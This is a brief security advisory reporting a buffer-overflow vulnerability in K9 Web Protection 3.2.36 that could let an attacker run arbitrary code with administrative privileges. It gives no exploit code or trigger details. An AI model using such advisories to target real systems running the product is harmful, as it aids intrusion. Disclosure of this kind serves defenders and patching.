K9 Web Protection is prone to a buffer-overflow vulnerability because it fails to perform sufficient boundary checks on user-supplied data before copying it to a buffer.

An attacker could leverage this issue to execute arbitrary code with administrative privileges. A successful exploit could result in the complete compromise of the affected system.

K9 Web Protection 3.2.36 is reported vulnerable; other versions may be affected as well.
